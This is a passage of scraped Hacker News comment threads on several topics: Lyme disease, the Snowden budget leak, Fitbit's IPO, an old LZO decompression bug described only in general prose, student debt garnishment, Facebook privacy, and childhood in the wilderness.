</comment></comment><comment><USER19> While undoubtedly there are some people who have undiagnosed lyme, I suspect there are a lot of people who actually have CFS instead. Reading these kind of news stories it seems there are a lot of lyme "patients" who never had the bulls-eye rash, who keep going to doctors until they are given a diagnosis (or they buy a dubious test, such as igenix), then they're cured by a dubious supplement/diet treatment (which is highly unlikely to cure a bacterial infection).

It also sounds like long-term bacterial therapy isn't any use for lyme if you start it years after infection.

</comment><comment><USER20> I remember another article, some time back, where it compared the standard treatment for humans with a tick bite: wait to see if anything develops versus the standard treatment for dogs with a tick bite: immediate prophylactic antibiotics. The dogs had a much lower rate of chronic problems.

</comment><comment><USER5> Does anyone know why we don't develop an immunity to lyme disease after being infected once?

<comment><USER18> I was diagnosed with and treated for Lyme a few years ago.

At the time, my physician mentioned that a previous infection would provide "a limited immunity" (exact quote).

Since then, I've had two bulls-eyes but no symptoms (oblig anecdata).

It appears that you develop an immunity only to particular strains of the bug:

[http://iai.asm.org/content/early/2014/01/07/IAI.01451-13](http://iai.asm.org/content/early/2014/01/07/IAI.01451-13)</comment></comment>


Snowden Leaks $52 Billion Intelligence Budget - <AUTHOR> http://techcrunch.com/2013/08/29/snowden-leaks-52-billion-intelligence-budget-reveals-offensive-cyber-operations/

<comment><USER2> Wasn't his Russian visa contingent on him not leaking anything else?

<comment><USER3> I was about to say the same thing. It may be that since the PTOS is going to snub a 1 on 1 chat with putin and the U.S deliberating strikes on Syria which Russia and China are against,they decided not to enforce it.</comment></comment>


Fitbit Files IPO - <AUTHOR> http://www.sec.gov/Archives/edgar/data/1447599/000119312515176980/0001193125-15-176980-index.htm <comment><USER2> I used to be pretty on the FitBit train, but I don't think that I'm in their camp any more. Refusing to integrate with Healthkit, purposefully building their challenges feature to reject data input through their APIs, and charging for access to raw data are enough to ensure that I'll never buy one of their products again. Kind of a shame, their hardware, dashboard, and app are all pretty great :(

<comment><USER3> It's really easy as an engineer to feel bearish about FitBit because of how shitty their acting from our viewpoint, but to people outside our community FitBit makes a statement "I care about my fitness and well-being", works on Android and iOS, has an app that's more actionable than Apple's Health app ("get off your butt and get 2000 more steps in" vs "you have 8000 steps today"), and has several price points below the $349 Apple Watch.

I too thought Fitbit was screwed when Apple announced its watch, but after seeing the prices and Apple's eye towards high-end consumers in this market, I wouldn't underestimate Fitbit as a business.

<comment><USER4> There is something to be said about focus.

I have a surge that I was given. I also have some high end training devices I use on the bike, Polar, Suunto and Garmin. Fitbit doesn't compete with these, neither does apple watch (at least not yet.) The fitbit is easy to use, I do find myself looking at the numbers on and off during the day, maybe walking a bit more. I'm curious about the aria integration, that seems like another killer piece of the weight loss and basic fitness equation.

The geek in me would love to be able to pull my fitbit data in to Rubitrack or something else, at the same time, it's really not that kind of data. It seems like it adds data to all the places where I didn't keep it before, for good or bad. Not sure how that helps me out exactly (I put a couple hundred miles on a bike every week) but if you're trying to lose weight or just get started with some basic fitness, I could easily see it being really valuable. They have a social integration component, I might be too old or a different kind of bird but a badge for climbing flights of stairs doesn't do it for me like a top 10 in a bike race, the younger set seem to enjoy that stuff.

Seems like a really immature industry as a whole. And FWIW, Apple builds killer laptops but Dell and the others still make them too. Apple builds a great phone but there are still dozens of competitors in the market and some of them are very compelling. Apple Watch seems like a market maker more than a market killer. It is proof that the wrist watch is interesting again, I don't think they're going to put all the other watch makers out of business any time soon.

I don't know. We have a weight problem as a country, anything that helps people get out and move more and gives them some motivation and keeps them honest about it seems good to me. I wish them good luck.

<comment><USER5> I'm like you. I have a Fitbit One in my pocket and use a Garmin watch for running & cycling. I'm bullish on Fitbit, but what I really wish is that Garmin would high some competent engineers to improve Connect. The current Vivo series really has me second-guessing the Fitbit, since it really would be useful to has a synthetic activity view that combined my athletic workouts and my daily "background" activity.

Every company's trackers have some defect, though. Garmin's software totally sucks and it can't do HR tracking in the water. Suunto can do that but it's platform syncs with almost nothing. Polar, until recently, refused to use Ant+. Nike+ had a low barrier to entry, but then they figured out it would be impossible to compete with Suunto, Polar & Garmin so they pivoted to become just a platform. I read DC Rainmaker with avid interest, but as with things like cycling power meters there is way too much fragmentation in the activity monitor segment.

</comment></comment></comment></comment><comment><USER6> I dunno, this kind of reminds me of the Flip video camera. Great little device, inexpensive. I bought one. Shortly after, cell phones became just as capable of being fits-in-a-pocket video recorders. Maybe not HD, but good enough. (Though some would argue cell phones had nothing to do with the demise of Flip. [0])

I see a similar pattern with FitBit. It's a 3-axis accelerometer with some firmware and software. Someone smarter than me could probably get something working in a weekend (though weekend prototype to production is admittedly a _long_ road). Worse, plenty of things have accelerometers in them. My iPhone. Your Samsung phone. My Pebble watch, which uses the Misfit app to count steps and track sleep without requiring that I actually buy a Misfit device. Some garage outfit may not put Fitbit out of business, but larger device manufacturers might be just one software update away from doing so.

Fitbit will have to have some serious value-add to stave off competitors, I think. Maybe I'm wrong, probably am. But I won't be buying their stock.

[0] [http://pogue.blogs.nytimes.com/2011/04/14/the-tragic- death-o...](http://pogue.blogs.nytimes.com/2011/04/14/the-tragic-death-of-the- flip/?_r=0)

<comment><USER7> FitBit has a brand. You can't build that in a weekend.

In fact, you don't need to build one at all. AliBaba returns over 14k results for "fitness tracker", and I imagine many of them are exact FitBit clones.

However, consumer product businesses are about way more than just the product itself. Marketing matters. Distribution matters. Apple bought Beats not because they couldn't create headphones, but because they wanted the brand. FitBit is Beats for "3-axis accelerometers with some firmware and software that you wear around your wrist".

<comment><USER8> A separate fitness tracker is the PDA-and-flip-phone combo of 2015. Once there are popular and mainstream wearable computers, I have no need for a separate fitness tracker. And that will happen as surely as things will continue to get smaller.

<comment><USER9> It already exists. Apple watch does what fitbit does along with plenty of other useful stuff. I can't imagine why anyone would use a fitbit instead, other than perhaps cost. That's not a great thing to be your only way of competing.

As it happens, while typing this comment, my watch let me know it was time to stand up and move around :-P

<comment><USER10> > I can't imagine why anyone would use a fitbit instead, other than perhaps > cost.

Battery life. Apple Watch will improve over time, but it's nowhere near _there_ yet when it can't be worn overnight.

<comment><USER9> For the sleep tracking component, or just in general?

Personally I have no problems charging my watch daily, just like my phone. But it does present an issue if you want to wear it while sleeping. I've never wanted to wear a watch sleeping though...

As a complete side note, i've been impressed by the battery life. I haven't gone below 50% in a day yet, and I have so little concern that I will I took battery percentage off of my watch face.

</comment></comment></comment></comment></comment></comment><comment><USER11> Devices in millions [2011,2014]: 0.2, 1.3, 4.5, 10.9

Revenue in millions [2011,2014[: 14.5, 76.4, 271.1, 745.4

Paid active users in millions [2011,2014]: NULL, 0.6, 2.6, 6.7

I realize they sell more than just pedometers, but their core product is a 3-axis accelerometer that calculates a dubious step count w/o really actionable insights. Imagine what this can be once there start to be useful applications/more of the data.

<comment><USER12> Believe me, I thought the FitBit was a stupid device when I heard about it, but then I got one for free from work. Having it on your wrist all day and tracking all your activity really did make a difference for me and for my friends that have it - to the point where I convinced friends to get the FitBit.

The effectiveness of the FitBit, just by my anecdote, is that it tracks all your steps, even for little things such as walking to the bathroom, and shows you your total activity. Second, is when at the end of the day your are close to your target, its easy to convince yourself to go for a little walk to reach the target. Without tracking, you wouldn't have done that extra walk at night.

I do agree with sentiments of others that the lock-in of data is pretty annoying, but the device and app work great for what they do.

<comment><USER13> > Second, is when at the end of the day your are close to your target, its > easy to convince yourself to go for a little walk to reach the target.

Having an external locus of control can make a huge difference for some people when it comes to exercising more or eating better. It helped for me.

> ...but the device and app work great for what they do.

That was NOT my experience with the app. I think it's pathetic they decided to try to be their own ecosystem instead of being part of HealthKit, but that's not their big sin.

In the two or so years I used a Fitbit the app only got worse. Food logging was repeatedly changed, losing features, and getting harder and harder to use. They later changed exercise entry to make it work better for runners and harder for everything else. They took FOREVER to update from iOS 6 style interfaces to iOS 7.

But the big thing, the KILLER thing, was that all my data was corrupted by a bug they knew about and refused to fix. There was an option to adjust your daily calorie goals based on activity (or something like that). Having that on used to be the default, but it caused all sorts of problems. I only found that out after noticing tons of my old data had almost exactly the same calorie count each day. Like within 10 calories.

After numerous support emails (their support system was terrible) I was finally told to turn that option off. They _knew_ it caused issues, that's why they started turning it off by default. But they didn't tell people who had it on about the issues it caused or detect if they were hitting the bug. They fixed it for new users and left older users screwed.

So I have 2+ years of useless fitness data in FitBit. It doesn't matter if it can be exported for free or put in HealthKit, the data is junk.

I don't remember having a single positive interaction with FitBit over support or other problems. They were at best neutral. My opinion of them went lower and lower and lower over time.

<comment><USER14> To be fair, they make it nearly impossible to get your data out of their servers to do anything interesting with anyway. Which is another huge failing on their part IMO.

<comment><USER15> They have a resilient, stable API. We use it for a number of clinical trials evaluating incentives for walking, and it works fairly well. Better than most of their competitors.

</comment></comment></comment></comment></comment><comment><USER16> Reading the "Risk Factors" in the From S-1 always proves to be educational. Thanks to the SEC the disclosures tend to be very candid (if not partially shrouded by legalese) and a good indicator of the structural weaknesses of a company.

For FitBit the lack of subscription revenue (1% of total), the litigation following product recalls, and the uncertainty from complying with FDA regulations seem particularly noteworthy.

<comment><USER17> The problem is competition. FitBit's only hope, in my opinion, is to create an Android-based/compatible multifunction device that becomes the competitor to the Apple Watch.

<comment><USER18> On the other hand, they present a cross-platform alternative. I bought Fitbit's scale because it had a Windows Phone app, something that Apple or Samsung won't give me.

<comment><USER17> I just don't think a pedometer gets the job done. I think the winners in this space will be much broader, multifunction devices. Something like I expect to see out of Apple Watch 3.0.

<comment><USER18> An interesting comparison is Misfit. They sell pedometers but also offer a free app for Pebble and Apple Watch. How do they intend to make money? Selling Shine to people who are interested in the jewelry aspect? Getting people into their ecosystem and selling them the bed sensor or other future specialized sensors?

<comment><USER19> I've been really curious about the Misfit business model. It's neat that they offer their software on two watches now but it's free. You only pay for devices and last I looked they didn't have any services.

Does anyone have any insights there since I'm curious?

<comment><USER18> Partial answer: [http://www.wareable.com/fitness-trackers/health-insurer- pay-...](http://www.wareable.com/fitness-trackers/health-insurer-pay-you-to- get-fit-with-misfit-flash-563)

<comment><USER19> Ohh that makes good sense. I wonder what the money looks like versus other models like what Jawbone and Fitbit use. Thanks for the insight.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER20> Reading through the comment thus far, I'm seeing a lot of negative sentiment towards the product. In the end, the demographic of the type of people on Hacker News is still vastly different from the majority.

I don't think it matters that refusing to integrate with Healthkit or rejecting data through their API matters. Check out the App Store. The Fitbit app is usually in the top 100 apps, let alone tops in the health category.

Some of you are bringing up the Apple Watch or products from Garmin and such, but again these are completely different. I recently got a Charge HR myself from fitbit and the requirements for me were some base functionality, acceptable battery life, and above all size and lightness. I've had the Charge HR for about 3 months and I hardly notice it except when I'm in competition with friends on the Fitbit app. I've had more than just a handful of friends also getting Fitbits because of the ecosystem.

I'm a believer, and barring a ridiculous price after the IPO, I'll likely be an investor.

</comment><comment><USER21> 2014 was an incredible year for them revenue/profit wise, and the first 3 months are already showing impressive growth.

2013 - 271M revenue, 51M loss.

2014 - 745M revenue, 131M profit.

Q1 2014 - 108M revenue, 8M profit.

Q1 2015 - 336M revenue, 47M profit.

These are fantastic numbers - I don't blame them deciding to go public now.

<comment><USER17> The only way an IPO makes sense is if they're going to raise money to compete with the Apple Watch or to move into a completely different product category.

<comment><USER22> ...or to get out.

</comment></comment></comment><comment><USER23> I like the Fitbit hardware (I use a Surge and love running with it) and their software is decent, but their customer service is atrocious.

I found a bug triggered by hitting the "Pause" button during a run. Effectively the device paused on the display, but the underlying data they use to build maps, calculate pace, etc keeps calculating. So if you run for 10 minutes, pause for 10 when you unexpectedly meet a friend, then run for 10 minutes all of your stats are based on a 30-minute run which isn't what most runners are interested in.

I documented this in excruciating detail (including showing errors in their .TCX file exports) and sent it off to their helpdesk.

First response: "That is a carrier issue, but don't worry we are still counting your steps.". There was no acknowledgement of the content I'd sent or the attachments I'd included.

Second response: Insisted it was a carrier or GPS issue, and not a software bug.

Third response: They asked me to call their 800-number. After I declined due to being in Australia, they replied and insisted that the call would be free, because it's to an 800-number.

Fourth response: THey are "Blessed" I contacted them. No acknowledgement of understanding of my issue.

It seems clear that their customer service team are not familiar with day to day use cases of their products, particularly the high-end running watch. The free phone call stuff is amusing but hints at a team that aren't aware of who their customers are.

Again, I like my Surge watch and their software is pretty good. Integration to Strava is great. But there's a pretty good chance they'll be overtaken by a future Apple watch with GPS in it.

[Edited to be less snarky]

<comment><USER24> Can you get in touch with me personally? I'd like to escalate your case. At fitbit.com I'm blewis.

<comment><USER23> Thank you for responding, I've sent through some details about my case.

</comment></comment></comment><comment><USER25> Are they still here? My FitBit is almost useless for me. It rots in a drawer. When I bought it I had trouble using it with my Samsung S4 - unsupported phone because Bluetooth something yada yada. Maybe they evolved since.

Their website was ugly and hard to use. Their apps too, and they banned specific phone models and countries from installing the app. Very vexing to be left out on purpose, after buying the damned thing.

Sleep tracking? I had to TELL it when I went to sleep and woke up (the magical five-times-tapping). So, basically, it's the same thing I could do with a notepad and a pen on the nightstand.

I use my phone to track my calories since.

<comment><USER26> > it's the same thing I could do with a notepad and a pen on the nightstand.

I think you might have misunderstood the sleep tracking feature. It also tracks when you're awake or restless while you're sleeping so you can understand if you slept well or not.

Last time I checked, my notepad and pen didn't do that.

<comment><USER25> True, about tracking agitation during sleep.

</comment></comment></comment><comment><USER27> When it comes down to it the wearable fitness tracker market has essentially no barrier to entry.

Can someone else make a similar device? Yes. Is there any reason someone _has_ to use FitBit? No. Can someone else operate more efficiently? Probably. Does another company out there in the same space have better customer loyalty than FitBit? For sure.

This all spells major trouble for FitBit. Apple could easily achieve a much better economy of scale than FitBit and in the long run win a war of attrition. Even if Apple doesn't succeed in this space, the fact that the barriers to entry are low suggests that FitBit will never be wildly profitable. Any competitive advantage it currently has will not last.

</comment><comment><USER28> Between Apple Watch from lifestyle perspective and Microsoft Band from fitness functional perspective, FitBit is being squeezed. They can still be profitable, but if Microsoft continues to refine and hone Band, FitBit is in serious trouble.

<comment><USER29> I'm really curious what the second or third iteration of the MS Band looks like.

I tried one on and the whole hw/software combination right now seems like a public beta. But it's showing they've got some really good ideas.

What I'd really like is a stress management feature from one of these sensor bands that can glean more info from my daily life. It seems like a perfect fit for MS to look at my Outlook calendar for the day and my heart rate and then point out to me a meeting that may have gotten heated.

</comment></comment><comment><USER30> With revenue tripling every year and projected net income around or over 200M this year, I wouldn't be surprised if Fitbit was valued at a P/E over 50. They would be worth $10+ B which is a huge surprise to say the least.

<comment><USER25> They put a product out a little before the curve, but now all cell phones can run accelerometer logs in background and there are more prestigious and advanced smart watches.

Maybe if they played nice and opened their API / allowed devs to play with the damn thing, they could compete more with Apple, which does the same for its products.

</comment></comment><comment><USER31> I used to be a Fitbit fan, but now I switched to Garmin Vivofit (and later Vivofit 2) and never looked back. My data is open, I have a battery that lasts a year+(!), a watch and an HR monitor (with a strap) in one device.

<comment><USER32> That's two devices, not one - a watch, and a strap.

<comment><USER31> Yes, but everything other than HRM is available in the vivid it itself.

</comment></comment></comment><comment><USER33> Many of the comments on this thread have been about their Surge product and comparisons to the Apple Watch. Though the Surge is their "flagship", in reality I see the One and Zip a LOT more. For people who aren't interested in a smart-watch or wearable (and believe me, there are many people who don't believe in the value of one yet) the Fitbit One fills a great market between a high end fitness tracker, and a cheap free pedometer that you got from work.

</comment><comment><USER34> Can someone explain the purpose of step counting?

From all the academic research I have seen regarding nutrition and exercise getting a few thousand extra steps will have no meaningful affect on your weight and health.

Is the pedometer really just a psychological trick to get people thinking about their weight and health more often which leads to people actually eating less?

<comment><USER35> It is a "psychological trick", especially when combined with other incentives like badges, leaderboards or rewards.

Keep in mind that many people struggle to get even a few thousand steps. Beyond that, it's a great status symbol, or at least it was, until the Apple Watch came out :-)

Also, the data can be interesting, both for researchers, and for yourself--if you're the kind of person who wonders e.g. if getting a lot of steps late in the evening rather than in the morning affects your sleep...

</comment></comment><comment><USER36> Fitbit is now the underdog. I'm excited to see where this ends up now that the market is willing to give them cash to fight Apple, Google, and Microsoft

</comment><comment><USER37> Having (very briefly) owned a fitbit flex (I think -- it's the one that got recalled for giving people a rash), does anyone know of a similar device with fairly high time resolution, that does NOT require an account, subscription, or connection to a website/service to work? Specifically, something you can pull the data directly off the device in some usable form? OS requirement for the device connection is irrelevant, I've got the common ones (ios, osx, android, windows, linux) covered.

</comment><comment><USER38> FitBit is to Apple Watch/Android Wear as TomTom/Garmin is to Smartphones with GPS.

They're fucked, erm, 'disrupted'.

</comment><comment><USER39> To all the commenters using intraCapitalization: it's "Fitbit" not "FitBit".

</comment><comment><USER40> I'll buy their stock. I have bought four Fitbits for my family and they all love them.

</comment><comment><USER35> So they want to raise $100M, but the more interesting question is at what valuation?</comment>


Raising Lazarus – The 20 Year Old Bug that Went to Mars - <AUTHOR> http://blog.securitymouse.com/2014/06/raising-lazarus-20-year-old-bug-that.html

<comment><USER2> Ouch. The bug here is simple. The LZO format has a block type for uncompressable data ("literal runs"). LZO implementations (all the ones Don Bailey looked at) keep a counter associated with literal runs that count NUL (00h) bytes. The counter can be made to grow quickly and eventually overflows. The LZO codecs Bailey looked at use that counter for a copy, and thus have a memory corruption flaw.

It's likely that anything you use that decompresses LZO (MPEG files are a good example) uses C code to do it, and not code in a higher-level language.

So you'd want to know any place your application accepts a file format that can use LZO, because that might be a potential memory corruption flaw in your application regardless of the language you built it in.

Memory corruption flaws are very bad; these are the bugs that often result in attackers being able to upload code to your server that is then executed. That vulnerability, once triggered on your site, is probably game-over for your whole data center/deployment environment.

This flaw won't be as easy to exploit as the Rails YAML bug will be, but to the extent that your code reuses a well-known LZO codec, there may be shrink- wrap exploits available soon.

<comment><USER3> A lot of server-side virus scanners can unzip .lzo attachments in email by default. And nobody likes updating mail servers.

</comment></comment><comment><USER4> I don't see anywhere that this is exploitable in the wild, given that most things LZ4 is used for use smaller block sizes than this.

[http://fastcompression.blogspot.com/2014/06/debunking- lz4-20...](http://fastcompression.blogspot.com/2014/06/debunking-lz4-20-years- old-bug-myth.html)</comment>


3D Galaxy Graph Visualization of Most Go Packages - <AUTHOR> https://groups.google.com/forum/m/#!topic/golang-nuts/bgeZ0MjQMFE

<comment><AUTHOR> Direct link to the visualization:

[http://anvaka.github.io/pm/#/galaxy/gosearch?cx=-1898&cy=-17...](http://anvaka.github.io/pm/#/galaxy/gosearch?cx=-1898&cy=-1759&cz=10036&lx=0.1521&ly=-0.0994&lz=0.0558&lw=0.9818&ml=150&s=1.75&l=1&v=2015-07-19T20-46-17Z)

</comment><comment><USER2> I just 3D visualized your mom

[http://i.imgur.com/kHTnhTV.jpg](http://i.imgur.com/kHTnhTV.jpg)</comment>


Math Tutorials (resubmit since the other was inexplicably deleted) - <AUTHOR> http://patrickjmt.com/

<comment><AUTHOR> The original was deleted, for some strange reason.

Here it is (was): <http://news.ycombinator.com/item?id=2665235></comment>


Social Security Garnished for Unpaid Student Debt - <AUTHOR> http://www.wsj.com/articles/social-security-checks-are-being-reduced-for-unpaid-student-debt-1482253337 <comment><USER2> Maybe someone just needs to explain this to me like I'm 5, but no one forces someone to take out $125,000 in loans to go to a private college. I graduated from community college and then went to a state four-year for my degree, and I came out relatively debt-free.

I don't want to force people into a lifetime of poverty because they made one bad financial decision at the age of 19, but I took out loans, too. I also think it's part of the college experience to eat Ramen every night for a three weeks and scrounge for beer money so I might be a bit biased.

The money that I borrowed, that I paid back to my school (as promised) didn't go sit in some fat cat's bank on Wall Street. My school turned around and loaned that money back out to the next round. So it's incredibly selfish I feel for anyone to think they are free from any responsibility to pay back their loans because they were duped at the expense of someone else who now might not get the chance to go at all.

</comment><comment><USER3> Where I went to school my student fees went straight to the state board of education. This money was then used to pay for all schools across the state including grade schools, middle schools and high schools. The university received a portion of the fees I paid but ended up losing a few hundred dollars a year per undergrad. The difference was made up by grants, land and inventions created by the university, most of which existed only because of grad students.

Effectively the people of the state were unwilling to pay for their children and the future of their state and they made the university students pick up the difference. Add to that the fact that many degrees are unemployable because the economy is/was in shambles and you end up with students paying tax multiple times on their education.

</comment><comment><USER4> Every time I see news on the student loan crisis, I thank God I graduated college in the 90s. I left school $12k in debt, paid it off in 2 years.

<comment><USER5> It's not impossible to have a low debt degree today.

I've worked interesting jobs part-time during the school year and full time during breaks and will graduate without a dime of debt. I've met many students with a similar financial background.

<comment><USER6> I'd be very interested in the details on how you were able to accomplish this. What kind of part-time job will both pay enough to fund college while being flexible enough to allow for both class time, and leave you with enough mental energy to study and do homework?

I worked through my college education yet still graduated with a modest amount of debt. There were choices I could have made to improve my financial situation, but no amount of penny-pinching would have completely mitigated the debt I would have had to take on, save a rich relative bankrolling me.

<comment><USER5> I've been very lucky. I don't want to say everyone can get through college without debt, because that simply isn't true. I also was blessed with a good job and some good timing. Mostly it comes down to my university being so inexpensive.

I went to community college first. In community college I found it was really common for people to be doing both full-time school and full-time work. My present university (BYU) also charges very low tuition - almost as cheap as my community college. I've also done some full-time work with part-time summer classes in order to keep my graduation on schedule.

I work for a web analytics consultancy, which has allowed my hours to be somewhat flexible. I started at about $10/hour which was enough to meet my expenses at the time (because I was going to community college while living at my parents). Within a year I was making about double that, which was perfect as it coincided with graduating from community college and moving 2000 miles to university (meaning I had to cover my living expenses). This is because the particular type of consulting we do is quite specialized - if I only got two or three real hours of work done in a week out of 20 hours worked the company was still massively ahead at the hourly rates we charge. The work (mostly coding) is different enough from my major (Economics) that I maintain interest in both.

My major is also taught by professors who apparently all prefer roughly the same schedule for classes. As a result, semester to semester time shifts in my work schedule are minor. I work in the morning and then do some work in the evening.

I won't say everything has been perfect. I don't spend as much time on homework as I ought to. If I procrastinate, a client's work might pop up in the morning before an assignment is due. So I've had to be much more structured in my classwork and often try to get a good chunk of it done on Saturday afternoons.

<comment><USER6> Thank you for the details!

It also speaks very highly of you to acknowledge how lucky you are to be in your situation, in addition to the effort you put in.

</comment></comment></comment></comment></comment><comment><USER7> This doesn't even make financial sense for the government. If you are guaranteeing that federal student loan debts will be deducted from social security payments, why not let me make those payments pre-tax before retirement? Why would you take one third of my paycheck into social security, which may or not pay out for me in decades, rather than just sending it straight to my loan balance?

<comment><USER8> The reason that the government takes your money up front instead of letting you use it against your debt is because the government has liquidity/solvency issues.

Social security is a wealth transfer program, not a retirement saving program. Social Security takes money from the young, and gives it to the old; this is exacerbated by the fact the 'current old' did not 'pay-in' as much as they will be taking out, so they need your money right now.

<comment><USER9> The Social Security Trust Fund has no looming liquidity issues for the next 20 years or so[1]. Solvency is a different issue, and has nothing to do with student debt payments.

[1][https://en.wikipedia.org/wiki/Social_Security_Trust_Fund](https://en.wikipedia.org/wiki/Social_Security_Trust_Fund)

<comment><USER8> I said the government has liquidity/solvency issues, and it does; the SSTF is supposed to peak in 2021, but its largest holding is US Treasury bills, so the government will either have to 'run a surplus' by then (to pay off the treasuries) or default on debt, in order to continue paying out Social Security. Do you believe that the federal budget will be running a surplus by 2021?

None of this is directly due to student debt payments, I was trying to explain why the government resists deferring Social Security taxes.

</comment></comment></comment></comment><comment><USER10> _WASHINGTON—The federal government is increasingly taking money out of recipients' Social Security checks to recover millions in unpaid student debt, leaving thousands of retired and disabled Americans with below-poverty incomes, according to a report set to be released Tuesday._

This is just pure, unadulterated evil.

<comment><USER11> Maybe? If it was money owed by the individual, then maybe not? The question is, when do we absolve people of debit while still giving entitlements? If the some of the money from the entitlement should be used to pay down the debt, perhaps the government is just cutting out the middle man?

<comment><USER10> _The question is, when do we absolve people of debit while still giving entitlements?_

It's a thorny question, in the general case. But fortunately we can rely on the time-honored constraints of common sense and general decency, in cases like these.

For which the factors "Would this force the individual below sustenance level? Are they disabled, or do they have disabled dependents?" are actually pretty easy to assess, and verify.

<comment><USER12> "Common sense and general decency" my common sense and decency is pretty much at odds with yours.

You took a loan? Good, repay it. You're an adult, you made a decision. Don't expect any help from others.

My sense of decency says that we should probably not allow student loans, since so many people aren't mature enough to understand their impact and calculate the trade-off of taking one.

//EDIT: So, my main argument is against the idea that we should use "common sense and decency" to make these decisions. That's stupid, because the majority of people don't understand economics and have a hard time guessing what the second and third order effects of a "nice" action would be.

My arguments are a red herring. We should throw out the "common sense" of kafkaesq and I. We're both being stupid when we just poll our values to see what our knee-jerk reaction is.

Let's just use a system that has the best outcomes. I'd like the policy that provides the highest outcome of: ("Grows GDP" x "Does not fail it's participants")

<comment><USER13> Actually, almost all of the time, when you take out a loan, you can choose to repay it, or file for bankruptcy. In the case of uncollateralized loans (Credit cards, utilities), the lender is quite likely to receive next to nothing for it.

We just need to make student loans dischargeable through bankruptcy, and all of these problems will be fixed. Lenders will stop lending children hundreds of thousands of dollars to get a European history degree, tuition fees will implode...

<comment><USER5> I agree with this, but there has to be some kind of reasonable time limit where bankruptcy doesn't apply. Otherwise every cunning student will just apply for bankruptcy right after graduation (made very easy because they don't yet have a job and have almost no assets).

I'd be OK with bankruptcy ending student debt after a time frame of 5-7 years.

<comment><USER11> Yup, and this is what was happening (AFAIK) and why they added the stipulation that student loans weren't absolved in bankruptcy.

Otherwise, why not everyone become a neuro-surgeon? A couple hundred thousand dollars wiped away right after collage, only so they can become paid far beyond reasonable wages afterward and owe nothing.

<comment><USER14> So it stands to reason that if you create a special class of debt you should have a special class of debt collection. If your income and/or assets are greater than $X then collect. That would keep people from playing the system and keep someone who depends on social security to survive from having their checks garnished.

We're so obsessed with stopping cheats in this country we'll cut off our nose to spite our face.

</comment></comment></comment></comment></comment></comment></comment></comment><comment><USER15> Good reason why Government should stay out of both social security and student loans.</comment>


New FB + Twitter + Flickr + RSS & more widgets all in one - <AUTHOR>

Register @ http://www.yabb.me <comment><USER2> So this is an ulta-profile page? Netvibes 2.0?</comment>


A Privacy-Focused Vision for Social Networking – Facebook - <AUTHOR> https://m.facebook.com/notes/mark-zuckerberg/a-privacy-focused-vision-for-social-networking/10156700570096634/ <comment><USER2> This man is a pathological liar. I'm sure he believes himself what he is saying but nothing in his past actions says that he will implement these changes in a way marketed here. Facebook is a publicly owned advertising company. They charge zero cents for using the service. If he destroys the company's profit source, shareholders will sue him.

</comment><comment><USER3> I think Zuckerberg has repeated the "we care about your information" message too often to be taken seriously. I didn't even read the entire post, which by itself (obviously highly subjective) tells me how my perspective of Facebook and Zuckerberg changed over the years...

</comment><comment><USER4> This perfectly sums up my feelings on this: [https://giphy.com/gifs/anchorman- lies-lie-EouEzI5bBR8uk](https://giphy.com/gifs/anchorman-lies-lie- EouEzI5bBR8uk)

</comment><comment><USER5> I wonder if this feature will be made available here in Australia given our shitty encryption laws.</comment>


Manhood for Amateurs: The Wilderness of Childhood (2009) - <AUTHOR> http://www.nybooks.com/articles/2009/07/16/manhood-for-amateurs-the-wilderness-of-childhood/ <comment><USER4> When my grandfather was a child (age 11) he took his 10 year old brother to the state fair by train a distance of about 40 miles. They spent their remaining funds on ice cream and then hitchhiked back home.

The trains were gone by the time my father was a child and he wandered as far as a bike could take him and back in a day. He would play at Army Dumps that dotted the landscape in the 50's.

When I was a kid the freeways and major thoroughfares created islands that couldn't be crossed by a kid on a bike. The farmland and riparian areas around creeks created walking corridors and I would spend time watching tadpoles and building forts.

For my kids the farmland was developed and the creeks tightly fenced off by an interlocking thicket of HOAs. They wandered virtual worlds.

<comment><USER5> >They wandered virtual worlds.

That's fairly insightful right there. I'm juust old enough that my childhood contained some of the last years of "the woods" and juust young enough that when I started WOW, I recognized the feeling. Logging on in those early days had the same essential flavor as grabbing the bike and heading out.

<comment><USER6> Seconded. A very insightful comment. Your comment rings true as well. I spent quite a bit of time in "the woods" as a boy but also plenty of time in front of computer screens. You're right - the feeling is the same whether it's outdoors, a virtual world, or even the inner world of my thoughts when I would read a book with a fully realized world.

</comment></comment></comment><comment><USER7> An even more relevant and striking article 7 years later. I truly worry for the kind of world my children may grow up in, filled with manufactured fears and helicopter parents buzzing about trying to prevent the world from getting in.

At 25, I grew up in one of the last unadulterated times to be young in our history. No cell phone, not much supervision, just a couple of friends and a forest that felt the size of the world. I wonder how long until true childhood adventure is lost for good - marginalized to after-school curriculums and playdates planned on "Tinder for Tots".

Go outside, get cuts and scrapes, and you'll turn out all the stronger and more knowledgable from it.

<comment><USER8> I've architected my life so that adventure in the woods is still a quick bike ride to the trailhead.If I have more time acailable, There's the National Forest, Wilderness and a National Park, all a few hours by bike. I can bring along a sleeping back and stay out indefinetly.

Without this access, yeah I'd feel a little dead inside.

"Wilderness is not a luxury but a necessity of the human spirit, and as vital to our lives as water and good bread. May your trails be crooked, winding, lonesome, dangerous, leading to the most amazing view. May your mountains rise into and above the clouds. Growth for the sake of growth is the ideology of the cancer cell." \- E. Abbey

<comment><USER9> "The wilderness once offered a plausible way of life. Now it functions as a psychological refuge. Soon there will be no more wilderness. Then the madness becomes universal. And the universe goes mad." \- E. Abbey

<comment><USER7> While we're on Abbey quotes...

"The idea of wilderness needs no defense, it only needs defenders." - <USER2>

This quote has always been a source of debate for me. Does the idea of wilderness need no defense? Must we create heavily managed spaces simply to prevent the tragedy of the commons from occurring? Does the fact that wilderness is a political designation mean that it is not truly "wild"?

I'm of the mind that because societal negligence of our natural world leads to its destruction in one form or another almost certainly, then yes, the idea of wilderness needs no defense, but one can argue that the designation itself leads to a place losing its "wildness"...

<comment><USER8> There could be a good argument that nothing is Wilderness, and that Wilderness itself - in the US at least, is a 18th-sh century construct, created by a European-leaning philosophy that didn't understand the relationship between the land and the people that were there before them, but were instead bound by the God and Relgion on the idea of almost a second Eden and a Manifest Destiny to take the land which belonged to on one.

In reality all those forests that the original author writes so daringly about were manicured and well-cared for woods, engineered to provide food in the form of nuts and berries, as well as prime hunting ground for big game, say nothing for easily passageway between villages for trade and seasonal migration.

In this perspective man has for a very long time held the spot of curator of so-called, "Wild Lands". It's my opinion that we continue to do so. Not for monetary gain (although there is - the Outdoor Industry isn't that small), but because without it, we all commit suicide, in a very real way.

<comment><USER10> There's no evidence Native Americans managed the land to this degree. In fact it's clear there weren't enough of them to do so.

